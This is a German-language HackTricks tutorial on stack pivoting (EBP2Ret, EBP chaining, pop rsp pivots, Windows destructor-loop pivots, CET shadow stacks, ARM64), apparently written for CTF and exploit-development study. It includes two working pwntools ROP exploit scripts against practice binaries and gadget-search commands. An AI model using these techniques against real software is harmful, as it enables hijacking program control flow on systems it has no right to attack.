Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 14 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Diese Technik nutzt die Möglichkeit, den Base Pointer (EBP/RBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch geschickte Nutzung des frame pointers und der leave; ret-Instruktionssequenz zu verketten.

Zur Erinnerung: auf x86/x86-64 ist leave äquivalent zu:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Und da das gespeicherte EBP/RBP im stack vor dem gespeicherten EIP/RIP liegt, ist es möglich, es durch Kontrolle des Stacks zu steuern.

Hinweise

  • Auf 64-bit EBP→RBP und ESP→RSP ersetzen. Die Semantik ist die gleiche.
  • Manche Compiler lassen den Frame-Pointer weg (siehe “EBP might not be used”). In diesem Fall könnte leave fehlen und diese Technik funktioniert nicht.

EBP2Ret

Diese Technik ist besonders nützlich, wenn du das gespeicherte EBP/RBP verändern kannst, aber keinen direkten Weg hast, EIP/RIP zu ändern. Sie nutzt das Verhalten des Funktions-Epilogs.

Wenn es dir während der Ausführung von fvuln gelingt, ein fake EBP auf den Stack zu injizieren, das auf einen Speicherbereich zeigt, in dem sich die Adresse deines Shellcode/ROP-Chains befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86 für das pop), kannst du RIP indirekt kontrollieren. Beim Rückkehr der Funktion setzt leave RSP auf die manipulierte Adresse und das anschließende pop rbp verringert RSP, wodurch es effektiv auf eine vom Angreifer dort abgelegte Adresse zeigt. Anschließend wird ret diese Adresse verwenden.

Beachte, dass du 2 Adressen kennen musst: die Adresse, auf die ESP/RSP gesetzt wird, und der Wert, der an dieser Adresse gespeichert ist und von ret konsumiert wird.

Exploit-Konstruktion

Zuerst musst du eine Adresse kennen, an die du beliebige Daten/Adressen schreiben kannst. RSP wird hierhin zeigen und den ersten ret konsumieren.

Dann musst du die Adresse wählen, die von ret verwendet wird und die die Ausführung übernimmt. Du könntest verwenden:

  • A valid ONE_GADGET address.
  • The address of system() followed by the appropriate return and arguments (on x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • The address of a jmp esp; gadget (ret2esp) followed by inline shellcode.
  • A ROP chain staged in writable memory.

Denk daran, dass sich vor jeder dieser Adressen im kontrollierten Bereich Platz für das pop ebp/rbp aus leave befinden muss (8B auf amd64, 4B auf x86). Du kannst diese Bytes ausnutzen, um ein zweites fake EBP zu setzen und die Kontrolle nach dem Rückkehr des ersten Aufrufs zu behalten.

Off-By-One Exploit

Es gibt eine Variante, die verwendet wird, wenn du nur das niederwertigste Byte des gespeicherten EBP/RBP ändern kannst. In diesem Fall muss der Speicherort, der die Adresse enthält, zu der mit ret gesprungen wird, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit eine 1-Byte-Überschreibung sie umleiten kann. Üblicherweise wird das niederwertige Byte (Offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.

Es ist auch üblich, ein RET-Sled im stack zu verwenden und die eigentliche ROP-Kette am Ende abzulegen, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds landet und die finale ROP-Kette ausgeführt wird.

EBP Chaining

Indem man eine kontrollierte Adresse in das gespeicherte EBP-Feld des Stacks legt und ein leave; ret Gadget in EIP/RIP, ist es möglich, ESP/RSP auf eine vom Angreifer kontrollierte Adresse zu verschieben.

Nun ist RSP kontrolliert und die nächste Instruktion ist ret. Lege im kontrollierten Speicher beispielsweise Folgendes ab:

  • &(next fake EBP) -> Wird von pop ebp/rbp aus leave geladen.
  • &system() -> Wird von ret aufgerufen.
  • &(leave;ret) -> Nachdem system endet, verschiebt es RSP auf das nächste fake EBP und fährt fort.
  • &("/bin/sh") -> Argument für system.

Auf diese Weise ist es möglich, mehrere fake EBPs zu verketten, um den Programmfluss zu kontrollieren.

Das ist ähnlich wie ein ret2lib, aber komplexer und nur in Randfällen nützlich.

Außerdem findest du hier ein Beispiel einer Challenge, das diese Technik mit einem stack leak verwendet, um eine winning function aufzurufen. Dies ist die finale Payload von der Seite:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 Alignment-Tipp: System V ABI verlangt eine 16-Byte-Stack-Ausrichtung an call sites. Wenn deine chain Funktionen wie system aufruft, füge vor dem Aufruf ein alignment gadget (z. B. ret oder sub rsp, 8 ; ret) ein, um die Ausrichtung beizubehalten und movaps-Abstürze zu vermeiden.

EBP wird möglicherweise nicht verwendet

Wie in diesem Beitrag erklärt, wenn ein Binary mit bestimmten Optimierungen oder mit frame-pointer omission kompiliert ist, kontrolliert EBP/RBP niemals ESP/RSP. Daher wird jeder Exploit, der auf der Kontrolle von EBP/RBP beruht, fehlschlagen, weil der prologue/epilogue nicht vom frame pointer wiederhergestellt wird.

  • Nicht optimiert / frame pointer verwendet:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimiert / Frame-Pointer ausgelassen:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Auf amd64 sieht man häufig pop rbp ; ret statt leave ; ret, aber wenn der frame pointer vollständig weggelassen wird, gibt es keinen rbp-basierten Epilog, durch den man pivotieren könnte.

Andere Möglichkeiten, RSP zu kontrollieren

pop rsp gadget

In this page findest du ein Beispiel, das diese Technik verwendet. Für diese Challenge war es nötig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp gadget und es gibt ein leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Sieh dir die ret2esp-Technik hier an:

Ret2esp / Ret2reg

Pivot-Gadgets schnell finden

Verwende deinen bevorzugten gadget finder, um nach klassischen pivot primitives zu suchen:

  • leave ; ret in Funktionen oder in Libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (oder add esp, <imm> ; ret auf x86)

Beispiele:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klassisches Pivot-Staging-Muster

Eine robuste Pivot-Strategie, die in vielen CTFs/exploits verwendet wird:

  1. Verwende einen kleinen initialen Overflow, um read/recv in einen großen beschreibbaren Bereich (z. B. .bss, heap, oder gemappten RW-Speicher) zu rufen und dort eine vollständige ROP chain abzulegen.
  2. Spring in ein pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret), um RSP in diesen Bereich zu verschieben.
  3. Fahre mit der staged chain fort (z. B. leak libc, rufe mprotect auf, dann read shellcode, und springe anschließend dorthin).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Client-seitige Parser implementieren manchmal destructor loops, die indirekt einen Funktionspointer aufrufen, der aus angreifer-kontrollierten Objektfeldern abgeleitet wird. Wenn jede Iteration genau einen indirekten Aufruf bietet (eine “one-gadget” machine), kannst du dies in einen zuverlässigen stack pivot und ROP entry umwandeln.

Beobachtet in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Künstlich erzeugte Objekte vom Typ AString platzieren einen Pointer auf Angreifer-Bytes bei Offset 0.
  • Die destructor loop führt effektiv pro Objekt ein Gadget aus:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Zwei praktische Pivots:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget”, das 8B E0mov esp, eax enthält und schließlich ret, um vom call primitive zu einer heap-basierten ROP-Chain zu pivotieren.
  • Windows 11 (full 64-bit addrs): nutze zwei Objekte, um einen constrained weird-machine pivot zu treiben:
    • Gadget 1: push rax ; pop rbp ; ret (verschiebt originales rax nach rbp)
    • Gadget 2: leave ; ... ; ret (wird mov rsp, rbp ; pop rbp ; ret), pivotiert in den Buffer des ersten Objekts, wo eine konventionelle ROP-Chain folgt.

Tipps für Windows x64 nach dem Pivot:

  • Beachte den 0x20-Byte shadow space und halte 16-Byte-Ausrichtung vor call-Stellen ein. Es ist oft praktisch, Literale oberhalb der Rücksprungadresse zu platzieren und ein Gadget wie lea rcx, [rsp+0x20] ; call rax gefolgt von pop rax ; ret zu verwenden, um Stack-Adressen zu übergeben, ohne den Kontrollfluss zu beschädigen.
  • Non-ASLR helper modules (falls vorhanden) bieten stabile Gadget-Pools und Imports wie LoadLibraryW/GetProcAddress, um Ziele wie ucrtbase!system dynamisch aufzulösen.
  • Erzeugen fehlender Gadgets via einem writable thunk: endet eine vielversprechende Sequenz in einem call über einen beschreibbaren Funktionspointer (z.B. DLL import thunk oder Funktionspointer in .data), überschreibe diesen Pointer mit einem harmlosen Ein-Schritt wie pop rax ; ret. Die Sequenz verhält sich dann so, als hätte sie mit ret geendet (z.B. mov rdx, rsi ; mov rcx, rdi ; ret), was sehr wertvoll ist, um Windows x64 Argument-Register zu laden, ohne andere zu clobbern.

Für vollständigen Chain-Aufbau und Gadget-Beispiele siehe die Referenz unten.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Moderne x86 CPUs und OSes setzen zunehmend CET Shadow Stack (SHSTK) ein. Mit aktiviertem SHSTK vergleicht ret die Rücksprungadresse auf dem normalen Stack mit einem hardware-geschützten Shadow Stack; jede Abweichung löst einen Control-Protection fault aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-based pivots abstürzen, sobald das erste ret von einem pivotierten Stack ausgeführt wird.

  • For background and deeper details see:

CET & Shadow Stack

  • Quick checks on Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Hinweise für Labs/CTF:

  • Einige moderne Distros aktivieren SHSTK für CET-kompatible Binaries, wenn Hardware und glibc-Unterstützung vorhanden sind. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Boot-Parameter nousershstk deaktiviert werden, oder selektiv über glibc-Tunables beim Start aktiviert werden (siehe Referenzen). Deaktiviere keine Mitigations auf Produktionszielen.

  • JOP/COOP- oder SROP-basierte Techniken können auf manchen Zielen weiterhin funktionieren, aber SHSTK bricht speziell ret-basierte pivots.

  • Windows-Hinweis: Windows 10+ stellt user-mode und Windows 11 fügt kernel-mode “Hardware-enforced Stack Protection” auf Basis von shadow stacks hinzu. CET-kompatible Prozesse verhindern stack pivoting/ROP bei ret; Entwickler müssen sich via CETCOMPAT und zugehörigen Policies anmelden (siehe Referenz).

ARM64

In ARM64 werden die Prolog- und Epilogsequenzen von Funktionen das SP-Register nicht auf dem Stack speichern und wiederherstellen. Außerdem springt die RET-Instruktion nicht zur Adresse, auf die SP zeigt, sondern zur Adresse im x30.

Daher wirst du standardmäßig durch Ausnutzen des Epilogs nicht in der Lage sein, das SP-Register zu kontrollieren, indem du einige Daten auf dem Stack überschreibst. Und selbst wenn du das SP kontrollieren kannst, müsstest du trotzdem einen Weg finden, das x30-Register zu kontrollieren.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

The way to perform something similar to stack pivoting in ARM64 would be to be able to control the SP (by controlling some register whose value is passed to SP or because for some reason SP is taking its address from the stack and we have an overflow) and then abuse the epilogue to load the x30 register from a controlled SP and RET to it.

Auch auf der folgenden Seite kannst du das Äquivalent von Ret2esp in ARM64 sehen:

Ret2esp / Ret2reg

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks